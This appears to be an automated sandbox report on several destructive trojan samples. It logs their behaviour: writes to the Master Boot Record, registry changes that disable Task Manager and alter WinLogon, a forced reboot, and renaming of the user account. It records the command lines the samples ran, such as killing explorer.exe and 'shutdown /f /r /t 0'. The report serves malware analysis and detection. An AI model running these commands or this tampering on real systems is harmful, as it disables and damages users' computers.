Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe	N/A

System policy modification

evasion

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "Bro what have you done"	C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Network

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win10v2004-20240611-en

Max time kernel

148s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

Signatures

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2804 wrote to memory of 1348	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe	C:\Windows\system32\cmd.exe
PID 2804 wrote to memory of 1348	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe	C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5A93.tmp\5A94.tmp\5A95.bat C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	g.bing.com	udp
US	204.79.197.237:443	g.bing.com	tcp
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp
NL	23.62.61.97:443	www.bing.com	tcp
US	8.8.8.8:53	241.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	237.197.79.204.in-addr.arpa	udp
US	8.8.8.8:53	97.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	136.32.126.40.in-addr.arpa	udp
US	8.8.8.8:53	13.86.106.20.in-addr.arpa	udp
US	8.8.8.8:53	97.17.167.52.in-addr.arpa	udp
US	8.8.8.8:53	103.169.127.40.in-addr.arpa	udp
US	8.8.8.8:53	18.31.95.13.in-addr.arpa	udp
US	8.8.8.8:53	183.59.114.20.in-addr.arpa	udp
US	8.8.8.8:53	57.15.31.184.in-addr.arpa	udp
US	8.8.8.8:53	249.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	21.236.111.52.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	43.58.199.20.in-addr.arpa	udp
US	8.8.8.8:53	10.28.171.150.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\Local\Temp\5A93.tmp\5A94.tmp\5A95.bat

MD5	cffeffdd19a93f72fce9ae0b27fc7d41
SHA1	d51f874d7e1dbce87a6615db19e3bb3cd7918050
SHA256	f66989c140003a23e046dc0fd1f14d3ffee42e55b86c6f406c23406090005fbc
SHA512	197241112fd18486acbddeee1211ed801bbc1fb061b1a4a4917f67b7855c015d6ebf60ae16226733ecccd95d8ecd95c65c9eb49dbf1a9443076c4193380ac26b

Analysis: behavioral27

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240611-en

Max time kernel

141s

Max time network

126s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

Signatures

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\cmd.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2200 wrote to memory of 1840	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 2200 wrote to memory of 1840	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 2200 wrote to memory of 1840	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 2200 wrote to memory of 1840	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 1840 wrote to memory of 1896	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 1840 wrote to memory of 1896	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 1840 wrote to memory of 1896	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 1840 wrote to memory of 1896	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\259399710.bat" "

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM explorer.exe

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\259399710.bat

MD5	2e90ad588f5329388216c652eebd4a33
SHA1	baa4f47ee4f195d854f8db905fcbb2539556f0e0
SHA256	6f88a1b6fb5975e2e49b33e7c9dabb593b18b2e7254bbe41263a9acc7294c2ac
SHA512	b793ffcfca291e52855dd92ce1f948ce8b6f6bfe0e9a878cf7c37630b621eb417fe8b720bea8f088bec98b26c6e379bb1212d8518bb6ebed8b9840e2f9f9f778

memory/1840-12-0x00000000001E0000-0x00000000001E1000-memory.dmp

memory/2200-17-0x0000000000400000-0x0000000000407000-memory.dmp

memory/1840-19-0x00000000001E0000-0x00000000001E1000-memory.dmp

Analysis: behavioral16

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win10v2004-20240508-en

Max time kernel

Max time network

13s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A

Program crash

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4624 -ip 4624

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 488

Network

Files

N/A

Analysis: behavioral30

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win10v2004-20240508-en

Max time kernel

Max time network

14s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe	N/A

Modifies data under HKEY_USERS

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	C:\Windows\system32\LogonUI.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	C:\Windows\system32\LogonUI.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "217"	C:\Windows\system32\LogonUI.exe	N/A
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	C:\Windows\system32\LogonUI.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	C:\Windows\system32\LogonUI.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeShutdownPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\LogonUI.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa399b055 /state1:0x41c64e6d

Network

Files

memory/6052-0-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral26

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win10v2004-20240508-en

Max time kernel

Max time network

14s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

Signatures

Disables Task Manager via registry modification

evasion

Modifies WinLogon

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A

Sets desktop wallpaper using registry

ransomware

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\Desktop\WallPaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.png"	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Modifies data under HKEY_USERS

Description	Indicator	Process	Target
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	C:\Windows\system32\LogonUI.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	C:\Windows\system32\LogonUI.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	C:\Windows\system32\LogonUI.exe	N/A
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "137"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	C:\Windows\system32\LogonUI.exe	N/A
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	C:\Windows\system32\LogonUI.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.ico"	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 36	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 36	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 36	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A
N/A	N/A	C:\Windows\system32\LogonUI.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 4604 wrote to memory of 4064	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	C:\Windows\SysWOW64\cmd.exe
PID 4604 wrote to memory of 4064	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	C:\Windows\SysWOW64\cmd.exe
PID 4604 wrote to memory of 4064	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	C:\Windows\SysWOW64\cmd.exe
PID 4064 wrote to memory of 2632	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 4064 wrote to memory of 2632	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 4064 wrote to memory of 2632	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 4064 wrote to memory of 5024	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4064 wrote to memory of 5024	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4064 wrote to memory of 5024	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4064 wrote to memory of 3124	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4064 wrote to memory of 3124	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4064 wrote to memory of 3124	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4064 wrote to memory of 4512	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe
PID 4064 wrote to memory of 4512	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe
PID 4064 wrote to memory of 4512	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\z666.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='No System Anymore'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'No System Anymore'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa3970055 /state1:0x41c64e6d

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp
US	8.8.8.8:53	234.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	67.31.126.40.in-addr.arpa	udp

Files

memory/4604-0-0x000000007493E000-0x000000007493F000-memory.dmp

memory/4604-1-0x0000000000CA0000-0x000000000136A000-memory.dmp

memory/4604-2-0x0000000006380000-0x0000000006924000-memory.dmp

memory/4604-3-0x0000000005DD0000-0x0000000005E62000-memory.dmp

memory/4604-4-0x0000000005D80000-0x0000000005D8A000-memory.dmp

memory/4604-12-0x0000000074930000-0x00000000750E0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\z666.bat

MD5	ee655674ba8e05d5a4c32de58a6757c1
SHA1	f06f54710d5a0b341a9e6d467e1bb1a78f2f9606
SHA256	40cc0b6734258fc61e9940e359b7e0b84651e44a12943bb4381523a5cea325ef
SHA512	26bc97bff5612643c379776baf3637f7233748e7ecd8d8b94aa995e0a77d79c4c02d49ed98ef1bdc6d417bcf82e35069427692967c73d3b3899aff3868c93ebd

C:\Users\Admin\AppData\Local\Temp\NoSystemAnymore.exe

MD5	ef4e8ea4440efc48d5cd1a05a3a6f2a8
SHA1	74b5a40d4d9cb94ac7ed93b1cf9045539e50f068
SHA256	b1f25de77226ad8cf0e06226653e1c5aa7ac27a1ba8ba7bff8845685c2e53709
SHA512	f7aaa82dacf0ceee3f8311c787a568fdbe0b322d47371ddab37427902ceb74d0b324d6335878366d40f4d5d2b04b00157b81c8bd7b5c7b27fdcd26c770c13bf4

C:\Users\Admin\AppData\Local\Temp\bsod.exe

MD5	f1896231e9622dd044601962a9866a77
SHA1	36ad39e7d797ae43ee415e90a2dc234e0be3087b
SHA256	a254d664351a6db50d98bebbd530c46e64f9b9455bf4f378254045b2cde971f8
SHA512	e4004c3879b2b337260848e748c9d0b5e51bb4c8a8c317e44cedfe30e614391c329d1c07e7b052983897cc1010eee994c09cb370f721317f9c429c1d82e50901

C:\Users\Admin\AppData\Local\Temp\noway.txt

MD5	391403276c6df4a164b0544a3411c6c7
SHA1	c4c06a4c7710d1d8140b07abd4b7bcd4187485ab
SHA256	524dcba7e6a293bc6a19c1522672598a71ff4def394ac696ec30ea99154d511b
SHA512	2b0b05f4e8241ec07bd35f1a40113be5fa8689d5bfb8a4064a5c8dc119b10fe40b33697ad2e3195c068fa8cce5d7a860dbbbffebb45d8a9fc1ec121b6a5216f8

memory/4604-821-0x0000000074930000-0x00000000750E0000-memory.dmp

Analysis: behavioral29

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win7-20240221-en

Max time kernel

Max time network

13s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeShutdownPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

N/A

Files

memory/2512-0-0x0000000000400000-0x0000000000412000-memory.dmp

memory/868-1-0x0000000002E10000-0x0000000002E11000-memory.dmp

memory/2572-2-0x0000000002AB0000-0x0000000002AB1000-memory.dmp

Analysis: behavioral31

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240419-en

Max time kernel

118s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Signatures

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
